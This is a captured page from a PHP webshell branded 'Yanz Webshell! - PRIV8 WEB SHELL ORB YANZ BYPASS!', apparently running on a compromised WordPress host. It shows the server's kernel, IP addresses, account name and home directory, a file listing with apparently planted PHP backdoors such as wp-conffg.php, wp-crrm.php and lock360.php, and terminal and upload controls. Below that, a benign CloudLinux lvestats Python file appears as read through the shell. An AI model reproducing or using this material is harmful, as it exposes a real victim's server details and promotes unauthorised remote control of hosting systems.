Attention:
Uname:
Php:
Hdd:
Cwd:
Yanz Webshell! - PRIV8 WEB SHELL ORB YANZ BYPASS!
Linux server234.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
8.3.30 Safe mode: OFF Datetime: 2026-05-06 03:28:37
3907.15 GB Free: 1075.31 GB (27%)
/home/repauqkb/public_html/ drwxr-x--- [ root ] [ home ] Text

Server IP:
198.54.116.179
Client IP:
216.73.217.14
[ Files ][ Logout ]

File manager

NameSizeModifyPermissionsActions
[ . ]dir2026-05-06 01:37:04drwxr-x---Rename Touch
[ .. ]dir2025-04-18 09:10:57drwx--x--xRename Touch
[ wp-admin ]dir2026-05-05 01:36:32drwxr-xr-xRename Touch
[ wp-content ]dir2026-05-05 01:36:33drwxr-x---Rename Touch
[ wp-includes ]dir2026-05-05 01:36:38drwxr-xr-xRename Touch
.hcflag31 B2026-05-05 02:30:18-rw-r--r--Rename Touch Edit Download
.htaccess626 B2026-05-05 01:36:36-r--r--r--Rename Touch Edit Download
.htaccess.bk243 B2026-04-28 01:30:21-rw-r--r--Rename Touch Edit Download
.litespeed_flag297 B2026-05-06 01:37:04-rw-r--r--Rename Touch Edit Download
error_log20.19 MB2026-05-06 03:28:36-rw-r--r--Rename Touch Edit Download
goods.php173.77 KB2026-05-05 01:13:55-rw-r--r--Rename Touch Edit Download
index.php16.36 KB2026-05-05 01:36:36-r--r--r--Rename Touch Edit Download
license.txt19.44 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
lock360.php1.40 KB2026-05-05 02:30:18-rw-r--r--Rename Touch Edit Download
options-privacy-more.php768 B2025-06-24 17:01:07-rw-r--r--Rename Touch Edit Download
qinfofuns.php12.90 KB2026-04-23 18:25:11-rw-r--r--Rename Touch Edit Download
readme.html7.25 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-activate.php7.18 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-blog-header.php351 B2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-comments-post.php2.27 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-conffg.php122.70 KB2026-05-05 01:13:55-rw-r--r--Rename Touch Edit Download
wp-config-sample.php3.26 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-config.php3.55 KB2026-03-27 14:45:59-rw-r--r--Rename Touch Edit Download
wp-cron.php5.49 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-crrm.php77.12 KB2026-05-05 02:30:18-rw-r--r--Rename Touch Edit Download
wp-links-opml.php2.43 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-load.php3.84 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-login.php50.23 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-mail.php8.52 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-settings.php30.33 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-signup.php33.71 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-trackback.php5.09 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wper.php16.31 KB2026-01-27 01:19:39-rw-r--r--Rename Touch Edit Download
xmlrpc.php3.13 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
yeni.php27.21 KB2026-04-23 17:49:33-rw-r--r--Rename Touch Edit Download
 
Change dir:
Read file:
Make dir: (Writeable)
Make file: (Writeable)
Terminal:
Upload file: (Writeable)

HEX
HEX
Server: LiteSpeed
System: Linux server234.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User: repauqkb (12019)
PHP: 8.3.30
Disabled: NONE
Upload Files
File: //opt/cloudlinux/venv/lib/python3.11/site-packages/lvestats/lib/server_id.py
# coding=utf-8
#
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT
from uuid import uuid4

from clcommon.clconfpars import change_settings, load
from lvestats.lib import config, lveinfolib
from lvestats.orm.history import history, history_x60
from lvestats.orm.history_gov import history_gov
from lvestats.orm.incident import incident
from lvestats.orm.servers import servers
from lvestats.orm.user import user


class UpdateOrCreateServerID(object):
    """Change old-style server ID 'localhost' to auto-generated uuid
    User can set his own server ID
    """

    restricted_server_id_list = ('localhost',)
    server_id_length = 10

    def __init__(self, engine, config_path=None):
        """
        :type engine: sqlalchemy.engine.base.Engine
        :type config_path: Union[str, None]
        """
        self.engine = engine
        self.config_path = config_path or config.GLOBAL_CONFIG_LOCATION

    def _get_current_server_id_cfg(self):
        """
        :rtype: Union[None, str]
        """
        try:
            cfg = load(path=self.config_path)
            return cfg.get('server_id')
        except Exception as e:
            print(f'Error: {e}')
            return None

    def _set_server_id_cfg(self, server_id):
        """Sets option 'server_id' in config file
        :type server_id: str
        :rtype: Union[None, str]
        """
        try:
            change_settings({'server_id': server_id}, self.config_path)
            return server_id
        except Exception as e:
            print(f'Error: {e}')
            return None

    def _update_server_id_table(self, conn, table, current_server_id, new_server_id):
        """
        updates server_id in one of the tables
        :type conn: sqlalchemy.engine.base.Connection
        :type table: Union[history, history_gov, incident, user, history_x60]
        :type current_server_id: str
        :type new_server_id: str
        """
        sql_update = table.__table__.update().where(
            table.server_id == current_server_id
        )
        conn.execute(sql_update.values(
            {'server_id': new_server_id}
        ))

    def _update_server_id_db(self, current_server_id, new_server_id):
        """
        updates server_id for all tables in the database
        :type current_server_id: str
        :type new_server_id: str
        :rtype: Union[None, str]
        """
        sql_tables = [history, history_gov, incident, user, history_x60]
        lve_version = lveinfolib.get_lve_version(self.engine, current_server_id)
        conn = self.engine.connect()
        tx = conn.begin()
        try:
            for table in sql_tables:
                self._update_server_id_table(conn, table, current_server_id, new_server_id)

            # update servers table, where server_id is a primary key
            conn.execute(servers.__table__.insert().values(
                {'server_id': new_server_id, "lve_version": lve_version}
            ))
            conn.execute(servers.__table__.delete().where(servers.server_id == current_server_id))
        except Exception as e:
            tx.rollback()
            conn.close()
            print(f'Error: {e}')
            return None
        else:
            tx.commit()
            conn.close()
            return new_server_id

    def _resolve_localhost(self, prompt=True, current_server_id=None):
        """
        :type current_server_id: Union[None, str]
        :type prompt: bool
        :rtype: Union[None, str]
        """
        server_id = str(uuid4())[:self.server_id_length]
        if prompt:
            res = input(f"Enter new server ID ['{server_id}']: ")
            print(res)
            if res:
                server_id = res.strip()
            if server_id in self.restricted_server_id_list:
                print(f"Server ID cannot be '{server_id}'")
                return None
            if server_id == current_server_id:
                print(f"Server ID is already set to '{server_id}'")
                return server_id
            if len(server_id) > 255:
                print("Server ID length should be less than 255")
                return None
        cur_server_id = self._get_current_server_id_cfg()
        if cur_server_id is not None and not prompt and \
                cur_server_id not in self.restricted_server_id_list:
            return cur_server_id
        if self._update_server_id_db(current_server_id or cur_server_id or 'localhost', server_id):
            return self._set_server_id_cfg(server_id)
        return server_id

    def prompt(self):
        """
        :rtype: Union[None, str]
        """
        cur_cfg_server_id = self._get_current_server_id_cfg()
        # if server ID = 'localhost'
        if isinstance(cur_cfg_server_id, str) and \
                cur_cfg_server_id.strip() in self.restricted_server_id_list:
            print(f"Server ID cannot be '{cur_cfg_server_id}'")
        return self._resolve_localhost(current_server_id=cur_cfg_server_id)

    def auto(self):
        """
        :rtype: Union[None, str]
        """
        return self._resolve_localhost(prompt=False)